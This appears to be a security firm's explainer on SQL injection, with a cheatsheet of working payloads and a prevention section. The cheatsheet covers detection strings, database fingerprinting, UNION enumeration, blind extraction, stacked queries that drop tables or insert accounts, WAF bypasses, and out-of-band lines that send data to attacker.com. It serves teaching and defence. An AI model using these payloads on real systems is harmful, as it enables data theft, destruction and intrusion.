What is an SQL Injection Attack?

SQL injection represents one of the most prevalent and dangerous web application security vulnerabilities. This technique allows attackers to insert malicious SQL code into input fields and query parameters, potentially giving them unauthorised access to your database. When successful, these attacks can lead to data theft, corruption, or even complete system compromise.

Understanding the Vulnerability

SQL (Structured Query Language) is the standard language for managing and manipulating relational databases. Web applications frequently use SQL to retrieve, insert, update, and delete data based on user inputs. When these inputs aren’t properly validated or sanitised, attackers can exploit the vulnerability by injecting malicious SQL commands.

Consider this example of vulnerable code:

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";

If the application directly incorporates user input into SQL queries without proper validation, an attacker could input something like:

' OR '1'='1

This would transform the query into:

SELECT * FROM users WHERE username = '' OR '1'='1'

Since 1=1 is always true, this query returns all records from the users table, potentially exposing sensitive information.

Types of Database Attack Techniques

These attacks come in several variations, each with unique characteristics:

1. In-band SQL Injection

The most common and straightforward type where attackers extract data using the same communication channel used to inject the SQL code.

Union-based Attack

By using the UNION SQL operator, attackers can combine the results of the original query with results from an injected query, allowing them to extract data from different database tables.

For example:

' UNION SELECT username, password FROM users--

Error-based Attack

Attackers deliberately create SQL errors that reveal information about the database structure in error messages, which can then be used for more targeted attacks.

2. Inferential (Blind) SQL Injection

In this type, no actual data transfer occurs through the web application, making detection more difficult.

Boolean-based Blind Attack

Attackers send queries that force the database to return true or false results, then observe the application’s response to infer data.

For example:

' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--

Time-based Blind Attack

These techniques involve queries that force the database to wait for a specified time before responding, allowing attackers to determine if conditions are true or false based on response time.

For example:

' IF (SELECT username FROM users WHERE username='admin') WAITFOR DELAY '0:0:5'--

3. Out-of-band Attacks

These advanced techniques use alternative channels for data extraction, such as DNS or HTTP requests, and are employed when direct data retrieval isn’t possible.

Impact of Database Security Breaches

The consequences of these attacks can be severe and wide-ranging:

• Data Breach: Unauthorised access to sensitive customer data, including personal information, credit card details, and credentials.
• Authentication Bypass: Circumventing login mechanisms to gain unauthorised access to protected areas.
• Data Corruption: Modifying or deleting database records, potentially causing significant business disruption.
• Server Compromise: In extreme cases, executing system commands on the database server to gain complete control.
• Regulatory Penalties: Violations of data protection regulations like GDPR or CCPA can result in substantial fines.
• Reputational Damage: Loss of customer trust and business reputation following a publicised attack.

SQL Injection Manual Testing Cheatsheet

1. Initial Detection

Test for SQL Injection Vulnerabilities:

'
''
`
``
,
"
""
/
//
\
\\
;
' or '1'='1
' or '1'='1'--
' or '1'='1'#
' or '1'='1'/*
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--

Comment Syntax by Database:

• MySQL: #, -- (note the space), /**/
• PostgreSQL: --, /**/
• Oracle: --, /**/
• MSSQL: --, /**/
• SQLite: --, /**/

2. Database Fingerprinting

Version Detection:

-- MySQL
' UNION SELECT @@version--
' UNION SELECT version()--

-- PostgreSQL
' UNION SELECT version()--

-- Oracle
' UNION SELECT banner FROM v$version--
' UNION SELECT version FROM v$instance--

-- MSSQL
' UNION SELECT @@version--

-- SQLite
' UNION SELECT sqlite_version()--

Database-Specific Functions:

-- MySQL
' AND sleep(5)--
' AND benchmark(10000000,MD5(1))--

-- PostgreSQL
' AND pg_sleep(5)--

-- Oracle
' AND dbms_pipe.receive_message(('a'),5)--

-- MSSQL
' WAITFOR DELAY '00:00:05'--

-- SQLite
' AND randomblob(100000000)--

3. Verbose SQL Injection

UNION-Based Injection

Find Number of Columns:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-- Continue until error

-- Alternative method
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- Continue until successful

Identify Injectable Columns:

' UNION SELECT 'test',NULL,NULL--
' UNION SELECT NULL,'test',NULL--
' UNION SELECT NULL,NULL,'test'--

Database Enumeration

MySQL:

-- Current database
' UNION SELECT database(),NULL,NULL--

-- List databases
' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--

-- List tables
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='database_name'--

-- List columns
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='table_name'--

-- Extract data
' UNION SELECT username,password,NULL FROM users--

PostgreSQL:

-- Current database
' UNION SELECT current_database(),NULL,NULL--

-- List databases
' UNION SELECT datname,NULL,NULL FROM pg_database--

-- List tables
' UNION SELECT tablename,NULL,NULL FROM pg_tables WHERE schemaname='public'--

-- List columns
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='table_name'--

MSSQL:

-- Current database
' UNION SELECT DB_NAME(),NULL,NULL--

-- List databases
' UNION SELECT name,NULL,NULL FROM master..sysdatabases--

-- List tables
' UNION SELECT name,NULL,NULL FROM sysobjects WHERE xtype='U'--

-- List columns
' UNION SELECT name,NULL,NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='table_name')--

Oracle:

-- Current database
' UNION SELECT ora_database_name,NULL,NULL FROM dual--

-- List tables
' UNION SELECT table_name,NULL,NULL FROM all_tables--

-- List columns
' UNION SELECT column_name,NULL,NULL FROM all_tab_columns WHERE table_name='TABLE_NAME'--

4. Blind SQL Injection

Boolean-Based Blind

Test Conditions:

' AND 1=1-- (True condition)
' AND 1=2-- (False condition)

-- Character extraction
' AND SUBSTRING((SELECT database()),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--

MySQL Boolean Blind:

-- Check if first character of database name is 'a'
' AND SUBSTRING((SELECT database()),1,1)='a'--

-- Binary search approach
' AND ASCII(SUBSTRING((SELECT database()),1,1))>109--
' AND ASCII(SUBSTRING((SELECT database()),1,1))<119--

PostgreSQL Boolean Blind:

' AND SUBSTRING((SELECT current_database()),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT current_database()),1,1))>97--

Time-Based Blind

MySQL:

' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(5),0)--

PostgreSQL:

' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
' AND (SELECT CASE WHEN SUBSTRING((SELECT current_database()),1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END)--

MSSQL:

' IF(1=1) WAITFOR DELAY '00:00:05'--
' IF(SUBSTRING((SELECT DB_NAME()),1,1)='a') WAITFOR DELAY '00:00:05'--

Oracle:

' AND (SELECT CASE WHEN (1=1) THEN dbms_pipe.receive_message(('a'),5) ELSE 1 END FROM dual)=1--

5. Advanced Techniques

Second-Order SQL Injection:

-- Store payload in one location
INSERT INTO users (username) VALUES ('admin''--')

-- Trigger in another query
SELECT * FROM users WHERE username = 'stored_payload'

Out-of-Band (OOB) Data Exfiltration

MySQL (Windows):

' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\file'))--

Oracle:

' UNION SELECT UTL_HTTP.request('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)) FROM dual--

MSSQL:

'; EXEC master..xp_dirtree '\\attacker.com\' + @@version--

Stacked Queries:

-- MSSQL/PostgreSQL
'; DROP TABLE users--
'; INSERT INTO users(username,password) VALUES ('attacker','password')--

WAF Bypass Techniques:

-- Case variation
' UnIoN SeLeCt 1,2,3--

-- Comments
' UNION/**/SELECT/**/1,2,3--

-- Encoding
' UNION SELECT 0x61646d696e-- (hex encoding)
' UNION SELECT CHAR(97,100,109,105,110)-- (char encoding)

-- Double encoding
%2527 (for ')

-- Alternative operators
' OR 1 LIKE 1--
' OR 1 IN (1)--

6. Data Extraction Optimization

Concatenation Methods:

-- MySQL
' UNION SELECT CONCAT(username,':',password) FROM users--

-- PostgreSQL
' UNION SELECT username||':'||password FROM users--

-- MSSQL
' UNION SELECT username+':'+password FROM users--

-- Oracle
' UNION SELECT username||':'||password FROM users--

Multiple Rows in Single Query:

-- MySQL
' UNION SELECT GROUP_CONCAT(username,':',password SEPARATOR '<br>') FROM users--

-- PostgreSQL
' UNION SELECT STRING_AGG(username||':'||password, '<br>') FROM users--

Real-World Database Attack Examples

Several high-profile cases highlight the real danger of these vulnerabilities:

• Heartland Payment Systems (2008): Attackers used database vulnerabilities to steal over 130 million credit card numbers.
• Sony Pictures (2011): Hackers exploited security flaws to compromise personal data of approximately 1 million users.
• Yahoo (2012): Attackers leveraged code injection techniques to expose 450,000 user credentials.
• TalkTalk (2015): A database security breach resulted in the theft of personal data belonging to 157,000 customers, costing the company £400,000 in regulatory fines.

Detecting Vulnerabilities

Identifying database security vulnerabilities requires thorough testing and review:

Manual Testing Methods:

• Input Testing: Submitting unexpected characters like quotes, semicolons, and comments in form fields.
• Code Reviews: Examining application code for improper input handling.
• Database Monitoring: Watching for unusual query patterns or errors that might indicate attempted attacks.

Automated Testing Tools:

• Web Application Scanners: Tools like OWASP ZAP or Acunetix can automatically identify potential security weaknesses.
• Static Application Security Testing (SAST): Code analysis tools that detect vulnerabilities during development.
• Dynamic Application Security Testing (DAST): Tools that test running applications for vulnerabilities.

Prevention Measures

Protecting your database requires a multi-layered approach:

1. Use Parameterized Queries/Prepared Statements

Instead of directly embedding user input into SQL queries, use parameterized queries that handle user input separately from SQL commands:

// Unsafe:
$query = "SELECT * FROM users WHERE username = '$username'";

// Safe (using parameterized query):
$stmt = $connection->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

2. Implement Input Validation

Always validate user inputs against expected patterns and constraints:

• Client-side validation: Provides immediate feedback but can be bypassed.
• Server-side validation: Essential for security, cannot be circumvented by clients.
• Whitelisting: Accepting only known good inputs rather than trying to block bad ones.

3. Employ ORM Frameworks

Object-Relational Mapping (ORM) frameworks like Hibernate, Sequelize, or ActiveRecord abstract database interactions and typically implement security measures by default.

4. Apply Principle of Least Privilege

Limit database user permissions to the minimum necessary for the application to function:

• Use separate database accounts for different application functions.
• Avoid using database administrator accounts for application connections.
• Restrict permissions to only necessary tables and operations.

5. Implement Web Application Firewalls (WAF)

WAFs can detect and block common attack patterns before they reach your application:

• Cloud-based WAFs like Cloudflare or Sucuri
• Hardware appliances or software solutions for on-premises protection

6. Regularly Update and Patch Systems

Keep database management systems, web servers, and application frameworks updated to protect against known vulnerabilities.

7. Database Hardening

Configure your database for enhanced security:

• Disable unnecessary features and stored procedures.
• Enable detailed logging and monitoring.
• Use encryption for sensitive data.
• Implement database activity monitoring.

Testing Your Defenses

Regular security testing is crucial to ensure your protections remain effective:

• Penetration Testing: Engage professional security testers to simulate attacks against your systems.
• Vulnerability Scanning: Use automated tools to regularly check for common vulnerabilities.
• Code Security Reviews: Conduct periodic reviews focused specifically on database interaction code.

Beyond SQL: Related Security Concerns

While addressing database security, consider these related aspects:

• NoSQL Database Security: Similar attacks against NoSQL databases require different prevention techniques.
• Cross-Site Scripting (XSS): Often found alongside database vulnerabilities.
• API and microservice security: Ensures protection when databases are accessed through multiple interfaces.
• Security training: Educating developers about secure coding practices.

Conclusion

Database security vulnerabilities remain a persistent threat despite being well-understood. By implementing a comprehensive prevention strategy—including parameterised queries, input validation, proper authentication, and regular security testing—organisations can significantly reduce their risk exposure.

Remember that security is an ongoing process, not a one-time implementation. Regular reviews, updates, and tests are essential to maintaining a strong defense against SQL injection and other security threats.

Protect Your Business with Aardwolf Security

Don’t leave your business vulnerable to database attacks. Aardwolf Security specialise in comprehensive penetration testing services designed to identify and address SQL injection vulnerabilities before attackers can exploit them. Our team of certified security professionals uses industry-leading methodologies to test your web applications, providing actionable recommendations to strengthen your defenses.

Contact us today to learn how our penetration testing services can protect your business from SQL injection and other critical security threats.

Additional Resources

• OWASP SQL Injection Prevention Cheat Sheet
• NIST Guidelines on Database Security
• SQL Injection Attack: A Technical Deep Dive